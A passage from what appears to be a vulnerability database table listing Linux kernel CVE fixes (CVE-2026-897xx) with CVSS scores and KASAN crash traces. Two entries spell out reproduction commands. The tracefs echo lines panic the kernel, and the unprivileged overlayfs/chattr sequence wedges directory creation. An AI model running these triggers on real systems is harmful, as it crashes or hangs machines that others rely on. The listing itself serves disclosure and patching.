&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: misc: nsm: bound the device-reported response length nsm_sendrecv_msg_locked() stores the virtqueue used-ring length reported by the NSM device into msg-&amp;gt;resp.len without bounding it to the response buffer. A malicious or buggy backend can report a length larger than the response buffer; parse_resp_raw() then copies that many bytes out of the fixed buffer to user space, disclosing adjacent kernel heap (an out-of-bounds read). The request path already floors its length in fill_req_raw(); the response path lacks the symmetric check. Clamp the stored length to the size of the response buffer. Well-behaved devices report no more than the posted buffer size, so conforming traffic is unaffected.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89743&quot; target=&quot;_blank&quot;&gt;CVE-2026-89743&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tracing: Fix use-after-free with same-name named triggers When two hist triggers on different events are registered with the same name=, the second one reuses the first as named_data. Both are added to tr-&amp;gt;hist_vars by save_hist_vars() during event_hist_trigger_parse(), because save_hist_vars() is called before event_trigger_register() while the named reuse is only detected later, in hist_register_trigger(). In the named-data branch hist_register_trigger() then frees the second histogram&#039;s hist_data via destroy_hist_data(), but never removes its tr-&amp;gt;hist_vars list entry, leaving a dangling pointer and leaking the trace_array reference it holds. A later hist trigger that references a variable makes find_var_file() walk tr-&amp;gt;hist_vars and dereference the freed hist_data. The bug is reproducible from userspace by writing three hist triggers to tracefs: cd /sys/kernel/tracing echo &#039;hist:keys=common_pid:x=common_pid:name=mh&#039; &amp;gt; events/sched/sched_switch/trigger echo &#039;hist:keys=common_pid:x=common_pid:name=mh&#039; &amp;gt; events/sched/sched_process_fork/trigger echo &#039;hist:keys=common_pid:vals=$x&#039; &amp;gt; events/sched/sched_process_exit/trigger The third write panics the kernel: BUG: KASAN: slab-use-after-free in find_var_file.part.0+0x272/0x290 Read of size 8 at addr ffff888001f8a0e0 by task sh/1 CPU: 1 UID: 0 PID: 1 Comm: sh Tainted: G D N Call Trace: find_var_file.part.0 find_event_var parse_atom parse_expr __create_val_field event_hist_trigger_parse trigger_process_regex event_trigger_write vfs_write ksys_write do_syscall_64 entry_SYSCALL_64_after_hwframe Allocated by task 1: event_hist_trigger_parse Freed by task 1: hist_register_trigger+0x618/0xa30 event_hist_trigger_parse The buggy address belongs to freed 2048-byte region Oops: general protection fault ... RIP: find_var_file.part.0 Kernel panic - not syncing: Attempted to kill init! exitcode=0x0000000b Fix by removing the hist_data from tr-&amp;gt;hist_vars and releasing the trace_array reference in the named-data branch of hist_register_trigger() before freeing the hist_data.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89746&quot; target=&quot;_blank&quot;&gt;CVE-2026-89746&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tracing: Fix use-after-free in trace_pipe read on sub-buffer order change Writing to buffer_subbuf_size_kb calls ring_buffer_subbuf_order_set(), which frees every sub-buffer of the ring buffer, including the reader page, and replaces them with newly allocated ones. Readers of trace_pipe hold pointers into those pages. ring_buffer_peek() looks up an event under cpu_buffer-&amp;gt;reader_lock but returns the event pointer after dropping the lock, and peek_next_entry() then calls ring_buffer_event_length() and ring_buffer_event_data() on it. If the sub-buffer order is changed in that window, the reader dereferences freed memory: BUG: KASAN: use-after-free in ring_buffer_peek+0x3e0/0x430 Read of size 1 at addr ffff88802a4cf010 by task syz-executor989/6002 Freed by: free_buffer_page kernel/trace/ring_buffer.c:398 [inline] ring_buffer_subbuf_order_set+0x1325/0x18e0 kernel/trace/ring_buffer.c:7444 buffer_subbuf_size_write+0x182/0x280 kernel/trace/trace.c:8221 Take trace_access_lock(RING_BUFFER_ALL_CPUS) around the order change. This is the lock trace_pipe readers already hold across their entire peek-and-print loop, so the swap can no longer race with a reader that is dereferencing a peeked event.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89747&quot; target=&quot;_blank&quot;&gt;CVE-2026-89747&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tracing: Fix retry exhaustion in simple ring buffer reader swap simple_ring_buffer_swap_reader_page() starts with retry set to 8 and post-decrements it only after a failed link replacement. On the final attempt, a successful replacement leaves retry at zero, while a failed replacement leaves it at -1. The current !retry test reverses both outcomes. It returns an error after a successful final replacement, leaving the link update complete but the reader bookkeeping unfinished. After a failed final replacement, it falls through and updates the head and reader pointers as though the replacement succeeded, which can corrupt the ring. Treat only a negative counter as exhaustion and return the documented -EBUSY error.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89748&quot; target=&quot;_blank&quot;&gt;CVE-2026-89748&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tracing/user_events: Clear copied tracing state before fork duplication dup_task_struct() copies user_event_mm from the parent into the child, without grabbing a reference to it. user_event_mm_dup() should replace it, but it leaves that copied pointer unmodified if user_event_mm_alloc() fails. When the child exits, user_event_mm_remove() decrements a reference the child never owned, which ultimately frees user_event_mm, while the parent still as a stale pointer to it. This creates a UAF, which KASAN reports as: BUG: KASAN: slab-use-after-free in current_user_event_mm+0x51/0x1d0 Write of size 4 at addr ffff888005010d30 by task init/44 Call Trace: &amp;lt;TASK&amp;gt; kasan_report+0xce/0x100 kasan_check_range+0x10f/0x1e0 current_user_event_mm+0x51/0x1d0 user_events_ioctl+0x82e/0x15c0 __x64_sys_ioctl+0x139/0x1c0 do_syscall_64+0xce/0x450 entry_SYSCALL_64_after_hwframe+0x77/0x7f Allocated by task 44: __kasan_kmalloc+0x8f/0xa0 __kmalloc_cache_noprof+0x180/0x3a0 user_event_mm_alloc+0x3c/0x1f0 current_user_event_mm+0x88/0x1d0 Freed by task 42: __kasan_slab_free+0x43/0x70 kfree+0x13a/0x390 process_one_work+0x696/0xf90 worker_thread+0x420/0xba0 The fix simply clears the copied pointer before any possible failure. In case of failure, the child then has nothing to free.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89750&quot; target=&quot;_blank&quot;&gt;CVE-2026-89750&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mm/pagewalk: fix stale walk-&amp;gt;action escaping walk_pmd_range() If -&amp;gt;pmd_entry() sets walk-&amp;gt;action = ACTION_AGAIN, the pmd_none() check is retried. The PMD entry may be cleared at the point of retry. In this case, if walk-&amp;gt;ops-&amp;gt;install_pte is not specified, the code continues to the next PMD entry in the range without resetting walk-&amp;gt;action to ACTION_SUBTREE. This leaves walk-&amp;gt;action erroneously set to ACTION_AGAIN, which is incorrect. This was incorrect but not problematic up until commit 3b89863c3fa4 (&quot;mm/pagewalk: fix race between concurrent split and refault&quot;) which updated walk_pud_range() to check for walk-&amp;gt;action == ACTION_AGAIN upon walk_pmd_range()&#039;s return, causing the PUD walk to be retried. In this case this results in duplicate walk callbacks being invoked, which is erroneous and will break any caller that is not idempotent with respect to this (and waste time for those which are). The result is an out-of-bounds write, triggered by a local fuzzer: [ 2.272695] ================================================================== [ 2.273471] BUG: KASAN: slab-out-of-bounds in __mincore_unmapped_range+0x14f/0x190 [ 2.274302] Write of size 1 at addr ffff888008d9b000 by task poc/106 [ 2.274966] [ 2.275154] CPU: 0 UID: 1000 PID: 106 Comm: poc Not tainted 7.2.0-rc6-00429-ga7c7074b58d2 #55 PREEMPT(lazy) [ 2.275159] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 2.275164] Call Trace: [ 2.275170] &amp;lt;TASK&amp;gt; [ 2.275172] dump_stack_lvl+0x53/0x70 [ 2.275200] print_report+0xd0/0x630 [ 2.275210] ? __pfx__raw_spin_lock_irqsave+0x10/0x10 [ 2.275219] ? irqentry_exit+0xd2/0x670 [ 2.275224] ? irqentry_exit+0xd2/0x670 [ 2.275226] ? __virt_addr_valid+0xef/0x1a0 [ 2.275239] ? __mincore_unmapped_range+0x14f/0x190 [ 2.275242] kasan_report+0xce/0x100 [ 2.275245] ? __mincore_unmapped_range+0x14f/0x190 [ 2.275248] __mincore_unmapped_range+0x14f/0x190 [ 2.275252] mincore_unmapped_range+0x45/0x70 [ 2.275254] walk_pgd_range+0xafc/0xfc0 [ 2.275261] ? __pfx_walk_pgd_range+0x10/0x10 [ 2.275264] ? __update_load_avg_se+0x3d1/0x670 [ 2.275275] __walk_page_range+0xc0/0x310 [ 2.275278] ? __pfx_find_vma+0x10/0x10 [ 2.275281] ? finish_task_switch.isra.0+0x16d/0x4f0 [ 2.275290] walk_page_range_mm_unsafe+0x26f/0x3a0 [ 2.275293] ? __pfx_mtree_load+0x10/0x10 [ 2.275298] ? __pfx_walk_page_range_mm_unsafe+0x10/0x10 [ 2.275302] ? __free_frozen_pages+0x54d/0x7e0 [ 2.275308] __do_sys_mincore+0x132/0x380 [ 2.275311] do_syscall_64+0xf9/0x540 [ 2.275316] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 2.275322] RIP: 0033:0x422ccd [ 2.275326] Code: b3 66 2e 0f 1f 84 00 00 00 00 00 66 90 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 &amp;lt;48&amp;gt; 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48 [ 2.275329] RSP: 002b:00007fffffffec18 EFLAGS: 00000287 ORIG_RAX: 000000000000001b [ 2.275337] RAX: ffffffffffffffda RBX: 0000000000000066 RCX: 0000000000422ccd [ 2.275339] RDX: 00000000004d0940 RSI: 0000000001000000 RDI: 00007ffff4000000 [ 2.275340] RBP: 00000000004d0940 R08: 0000000000000100 R09: 0000000000000100 [ 2.275342] R10: 0000000000000100 R11: 0000000000000287 R12: 20c49ba5e353f7cf [ 2.275343] R13: 00000000004990d3 R14: 0000000000000000 R15: 0000000000000001 [ 2.275346] &amp;lt;/TASK&amp;gt; [ 2.275347] [ 2.296904] The buggy address belongs to the object at ffff888008d9b000 [ 2.296904] which belongs to the cache sigqueue of size 80 [ 2.298151] The buggy address is located 0 bytes inside of [ 2.298151] allocated 80-byte region [ffff888008d9b000, ffff888008d9b050) [ 2.299408] [ 2.299601] The buggy address belongs to the physical page: [ 2.300191] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x8d9b ---truncated---&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89754&quot; target=&quot;_blank&quot;&gt;CVE-2026-89754&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mm/migrate_device: clear stale mapping after freeing swapcache __migrate_device_pages() reads the folio mapping before calling folio_free_swap(). When folio_free_swap() succeeds, the folio is removed from the swap cache, but the saved mapping still points to swap_space. Passing the stale mapping to folio_migrate_mapping() makes it use the mapped-folio path for a folio that is no longer in swapcache. It can then operate on swap_space.i_pages with invalid reference accounting, eventually triggering a folio reference count BUG. After a successful split, nr still contains the number of pages in the original large folio, although each resulting page is now a separate order-0 folio. Reset nr to 1 so each split folio is processed separately, including its own swapcache removal and mapping lookup. Refresh the saved mapping after folio_free_swap() so the current folio state is used during migration.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89755&quot; target=&quot;_blank&quot;&gt;CVE-2026-89755&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mm/mempolicy: skip non-present PMDs when queueing folios Patch series &quot;mm: handle device-private PMDs in walk callbacks&quot;, v3. Since commit 368076f52ebe (&quot;mm/huge_memory: add device-private THP support to PMD operations&quot;) a PMD may hold a device-private swap entry whenever an HMM-based GPU driver migrates an anonymous THP folio to device memory via migrate_vma_pages(). pmd_trans_huge_lock() succeeds for such PMDs (pmd_is_huge() returns true for any non-present, non-none huge PMD), so several MM walk callbacks that used to assume present THP or migration entry are now reachable with a device-private PMD. The results range from a VM_BUG_ON() firing on debug kernels, to an oops on a bogus vmemmap dereference, to silently isolating an unrelated live folio from LRU in the aliasing case. This patch (of 3): queue_folios_pmd() is called under pmd_trans_huge_lock(), whose pmd_is_huge() check returns true for any non-present, non-none PMD softleaf. Passing such a PMD to pmd_folio() treats the softleaf encoding as a hardware PFN and can return a bogus folio pointer. Mirror queue_folios_pte_range(): handle non-present entries before looking up a folio. Keep migration entries counted as failures, but skip other non-present PMDs such as device-private entries. Potential trigger: an HMM-based GPU driver migrates an anonymous THP folio to device memory via migrate_vma_pages(), leaving a device-private PMD. Userspace then calls mbind(), migrate_pages() or set_mempolicy_home_node() on that range.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89758&quot; target=&quot;_blank&quot;&gt;CVE-2026-89758&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mm, swap: don&#039;t free a hibernation slot that is in the swap cache A slot with a folio in the swap cache is freed when the folio leaves the cache, not when its count drops. swap_put_entries_cluster() follows that rule. swap_free_hibernation_slot() does not, it calls __swap_cluster_free_entries() whether or not a folio sits on the slot. Cluster readahead can put one there. It walks a raw page_cluster sized window of offsets around the faulting entry, and a hibernation slot passes __swap_cache_add_check() because it is not a folio and its count is not zero. Freeing the slot then clears the entry under that folio. The folio is now unreachable from the swap table, and the offset goes back to the allocator. The folio is still on the LRU though, so reclaim can pick it up later. It then takes the old offset out of folio-&amp;gt;swap and overwrites the table entry there, which by then may belong to someone else. This bug can trigger silent memory corruption, process crashes, or data instability across completely unrelated userspace applications - typically occurring when uswsusp is preparing the hibernation image. I found this while working on giving hibernation slots their own marker in the swap table, which I had discussed with Kairui. (https://lore.kernel.org/linux-mm/abp7aDgYLrxF3Me8@KASONG-MC4/) As far as I know there are no reports, so there is no Reported-by/Closes to add. Check for a cached folio before freeing. The slot is then left in the ordinary state where only the swap cache holds it, and it is freed when the folio leaves the cache, either through the reclaim below or through normal reclaim later.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89760&quot; target=&quot;_blank&quot;&gt;CVE-2026-89760&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: apparmor: fix out-of-bounds write when null terminating a label vec aa_vec_unique() null terminates at vec[n - dups] when VEC_FLAG_TERMINATE is passed. If the components are all distinct no duplicates are dropped, dups is 0 and the terminator goes to vec[n], so the caller has to provide room for n + 1 entries. aa_label_strn_parse() sets up its vector with vec_setup(profile, vec, len, gfp) and then calls aa_vec_unique(vec, len, VEC_FLAG_TERMINATE), but vec_setup() does not reserve the terminator entry. Up to LOCAL_VEC_ENTRIES it uses the local array of LOCAL_VEC_ENTRIES pointers, above that it allocates exactly len pointers. The terminator therefore lands one entry past the end of the local array when len is LOCAL_VEC_ENTRIES, and one entry past the end of the allocation when len is larger. len comes from the number of &quot;//&amp;amp;&quot; separated components in the label name and label_count_strn_entries() does not bound it. An unprivileged task reaches the parse by writing to /proc/self/attr/apparmor/current or through lsm_set_self_attr(2), both of which go through do_setattr(), and the name is parsed before the change_profile permission is checked. The query_label() path behind the securityfs .access file, which is mode 0666, performs no permission check at all. Every component has to resolve to a loaded profile, so a system with policy loaded is required. The other two VEC_FLAG_TERMINATE users work on a label vec that aa_label_alloc() has already sized with &quot;+ 1 for null terminator entry on vec&quot;. Reserve the same entry in vec_setup() and DEFINE_VEC(). Passing len + 1 from the caller instead would move len == LOCAL_VEC_ENTRIES out of the local array and into kzalloc().&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89761&quot; target=&quot;_blank&quot;&gt;CVE-2026-89761&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: apparmor: fix cred UAF caused by begin_current_label_crit_section() AppArmor&#039;s begin_current_label_crit_section() is a scary function called from lots of LSM hooks (in particular VFS/socket-related ones) that checks if the label referenced by the current creds is marked FLAG_STALE, and if so, attempts to use aa_replace_current_label() to replace the creds with an updated version that uses a new label. The first problem with this is that it would directly lead to UAF of `struct cred` if anything in the kernel takes a pointer to the current creds and accesses these past a security hook invocation that replaces creds, like so: ``` const struct cred *cred = current_cred(); alloc_file_pseudo(...); uid_t uid = cred-&amp;gt;euid; ``` I don&#039;t know if anything in the kernel actually does this, but I think it is very surprising that this pattern could lead to UAF. The second problem is that things go wrong when aa_replace_current_label() runs with overridden credentials. aa_replace_current_label() bails out if `current_cred() != current_real_cred()` (mirroring the check in proc_pid_attr_write()), but this check can&#039;t actually reliably detect overridden credentials because the overridden creds can be the same as the objective creds. So in approximately the following scenario, things go wrong: 1. task begins with &amp;lt;creds A&amp;gt; (as both objective and subjective creds), with refcount=2 2. task grabs an extra reference on &amp;lt;creds A&amp;gt; for overriding 3. task calls override_creds(&amp;lt;creds A&amp;gt;), which returns a pointer to the old subjective creds (&amp;lt;creds A&amp;gt;) 4. task enters AppArmor LSM hook 5. AppArmor checks that objective/subjective creds are equal 6. AppArmor replaces both cred pointers with &amp;lt;creds B&amp;gt; and drops 2 refs on &amp;lt;creds A&amp;gt; 7. task leaves AppArmor LSM hook 8. task calls revert_creds(&amp;lt;creds A&amp;gt;) 9. now task-&amp;gt;cred is &amp;lt;creds A&amp;gt; while task-&amp;gt;real_cred is &amp;lt;creds B&amp;gt;, but the task_struct logically holds two references to &amp;lt;creds B&amp;gt; 10. another task drops the extra reference on &amp;lt;creds A&amp;gt; that was used for overriding, refcount drops to 0 11. now task-&amp;gt;real_cred points to freed creds At this point, any access to current_cred() will be UAF. I have a test case where I run aa-disable on a profile while a process using that profile is blocked on splice() from a FUSE passthrough file into a full pipe; after the profile update, the pipe becomes empty, splice() resumes, the credentials go out of sync, and a subsequent getuid() syscall results in a KASAN UAF splat. To fix this, instead of directly replacing creds, do it via task_work that will run at the end of the current syscall. (The point in time at which the cred replacement happens should have no correctness impact; it is just a performance optimization to avoid unnecessarily touching the refcount of the new label.) Note that AppArmor still performs direct cred replacements in the sb_pivotroot LSM hook after this change, and that direct cred replacements can still happen in VFS -&amp;gt;write() callbacks via proc_pid_attr_write(). There are two options for what to do with aa_dup_task_ctx(): Either explicitly reset new-&amp;gt;label_replacement_pending after the entire aa_task_ctx has been copied, or switch to manually copying members over. I am switching to manually copying members over because that should make bugs more obvious.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89762&quot; target=&quot;_blank&quot;&gt;CVE-2026-89762&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: KEYS: trusted: Fix TPM teardown ordering trusted_tpm_exit() drops the TPM chip reference and frees the digest array before unregistering the trusted key type. key_type_lookup() holds key_types_sem for reading until the key operation finishes, while unregister_key_type() takes it for writing. It therefore provides the synchronization point that must precede backend teardown. The current order permits this interleaving: CPU 0 CPU 1 trusted_tpm_exit() key_type_lookup(&quot;trusted&quot;) put_device(&amp;amp;chip-&amp;gt;dev) trusted_tpm_seal() kfree(digests) pcrlock() unregister_key_type() tpm_pcr_extend(..., digests) CPU 1 can consequently dereference the freed digest array. The chip can also be released before callbacks stop using it. KASAN reported: BUG: KASAN: slab-use-after-free in tpm_pcr_extend+0x1f0/0x200 Read of size 2 at addr ffff88810872d000 by task poc/89 Call Trace: tpm_pcr_extend+0x1f0/0x200 pcrlock+0x42/0x70 [trusted] trusted_tpm_seal+0x1b6/0x570 [trusted] trusted_instantiate+0x293/0x340 [trusted] __key_instantiate_and_link+0xb2/0x2b0 __key_create_or_update+0x61e/0xb50 __do_sys_add_key+0x1b8/0x310 Allocated by task 88: __kmalloc_noprof+0x1a7/0x490 do_one_initcall+0xa1/0x390 do_init_module+0x2df/0x840 Freed by task 90: kfree+0x131/0x3c0 trusted_tpm_exit+0x59/0xa0 [trusted] __do_sys_delete_module+0x346/0x510 Move unregister_key_type() before releasing either resource. This stops new lookups and waits for in-flight key operations to finish before the backend state is destroyed.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89763&quot; target=&quot;_blank&quot;&gt;CVE-2026-89763&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: rust: devres: fix race between concurrent revokers There is a potential race condition when two paths try to revoke a Devres concurrently. The driver core&#039;s devres_release_all() calls Revocable::revoke() via the release callback, while Devres::drop() calls revoke_nosync() on another CPU. The revoker that does not claim the is_available swap returns immediately, but the revoker that did may still be executing drop_in_place() on the inner data. This can cause a use-after-free when the other revoker&#039;s caller proceeds to drop adjacent resources that drop_in_place() still references (e.g., Devres&amp;lt;DmaMappedSgt&amp;gt; racing with SGTable freeing the backing sg_table and pages). Fix this by adding a Completion. The release callback signals the Completion after revoke() finishes, and Devres::drop() waits for it when it loses the is_available swap. This ensures the wrapped object is fully torn down before Devres::drop() returns.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89764&quot; target=&quot;_blank&quot;&gt;CVE-2026-89764&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ovl: fix double end_creating() on the casefold-mismatch path ovl_create_real() releases the new dentry twice when the casefold consistency check fails. The S_IFDIR branch calls end_creating() and sets err, then falls through to the common out: label which calls end_creating() on the same dentry again: case S_IFDIR: newdentry = ovl_do_mkdir(ofs, dir, newdentry, attr-&amp;gt;mode); err = PTR_ERR_OR_ZERO(newdentry); if (!err &amp;amp;&amp;amp; ofs-&amp;gt;casefold != ovl_dentry_casefolded(newdentry)) { pr_warn_ratelimited(...); end_creating(newdentry); /* first */ err = -EINVAL; } break; ... if (err) goto out; ... out: if (err) { end_creating(newdentry); /* second, same dentry */ return ERR_PTR(err); } end_creating() is end_dirop(), which does inode_unlock() on the parent and dput() on the dentry, so the parent directory&#039;s i_rwsem is unlocked twice and the dentry is put twice. The second unlock releases a lock that is not held, which is what wedges every later creation under that parent, and the second dput() drops a reference that was never taken. The branch was added by commit dfc7da402ccc (&quot;ovl: Check for casefold consistency when creating new dentries&quot;) as a bare dput(), which already released the reference twice; commit fe497f0759e0 (&quot;VFS: change vfs_mkdir() to unlock on failure.&quot;) converted both sites to end_creating(), adding the double unlock. This is reachable by an unprivileged user. The casefold consistency of the layers is validated at mount time in ovl_parse_layer(), and again on every lookup in ovl_lookup_single(), but ofs-&amp;gt;workdir is the internal &quot;work&quot; subdirectory created inside the user-supplied workdir, and that subdirectory is not re-checked. Marking it casefolded after the mount therefore makes every ovl_create_temp() inherit the wrong state - and that path reaches ovl_create_real() through ovl_start_creating_temp(), which uses start_creating() with a generated name and so never runs the lookup-time check. unshare -Urm mount -t tmpfs -o casefold=utf8-12.1.0 tmpfs mnt mkdir -p mnt/lower/d mnt/upper mnt/work mnt/merged mount -t overlay ovl -o lowerdir=mnt/lower,\ upperdir=mnt/upper,workdir=mnt/work mnt/merged chattr +F mnt/work/work mkdir mnt/merged/d/sub # directory copy-up overlayfs: wrong inherited casefold (work/#5) and the next copy-up blocks forever on the parent&#039;s i_rwsem: mkdir D start_creating+0x65/0xb0 ovl_start_creating_temp+0xb0/0xe0 [overlay] ovl_create_temp+0xa3/0x1d0 [overlay] ovl_copy_up_one+0x1f1c/0x21c0 [overlay] ovl_copy_up_flags+0xf5/0x140 [overlay] ovl_create_object+0xb7/0x220 [overlay] ovl_mkdir+0x23/0x40 [overlay] Drop the end_creating() from the branch and let out: own the cleanup, which is what every other error path in this function already does.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89767&quot; target=&quot;_blank&quot;&gt;CVE-2026-89767&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: clocksource/drivers/nxp-pit: Fix IRQ leak on cpuhp_setup_state error path When cpuhp_setup_state fails after pit_clockevent_per_cpu_init has successfully called request_irq, the error handling jumps directly to out_pit_clocksource_unregister without freeing the registered IRQ. This leaks the IRQ line and, since kfree(pit) follows, leaves a dangling pointer registered as the interrupt handler&#039;s dev_id, potentially leading to a use-after-free if the IRQ fires afterwards. Fix it by calling pit_clockevent_per_cpu_exit to properly release the IRQ before falling through to the existing cleanup chain.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89769&quot; target=&quot;_blank&quot;&gt;CVE-2026-89769&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ring-buffer: Fix subbuf resize race with ring buffer readers trace_buffer subbuf_size is read lockless in ring_buffer_read_page() and ring_buffer_read_start(), while it can simultaneously be resized with ring_buffer_subbuf_order_set(). Instead of trace_buffer::subbuf_size, use bpage::order in ring_buffer_read_start() and ring_buffer_read_page(). In ring_buffer_read_start(), even with resize_disabled, there is still a possibility of a race with a buffer modification. Hold the trace_buffer mutex to synchronise with any pending ring buffer order modification. trace_buffer::subbuf_size is now actually useless, remove it. Also, create accessors rb_subbuf_capacity() and rb_page_capacity() which return the actual size available for storing events, while rb_subbuf_size() returns the actual subbuf page-size.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89771&quot; target=&quot;_blank&quot;&gt;CVE-2026-89771&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;livecomposer--Live Composer Free WordPress Website Builder&lt;/td&gt;
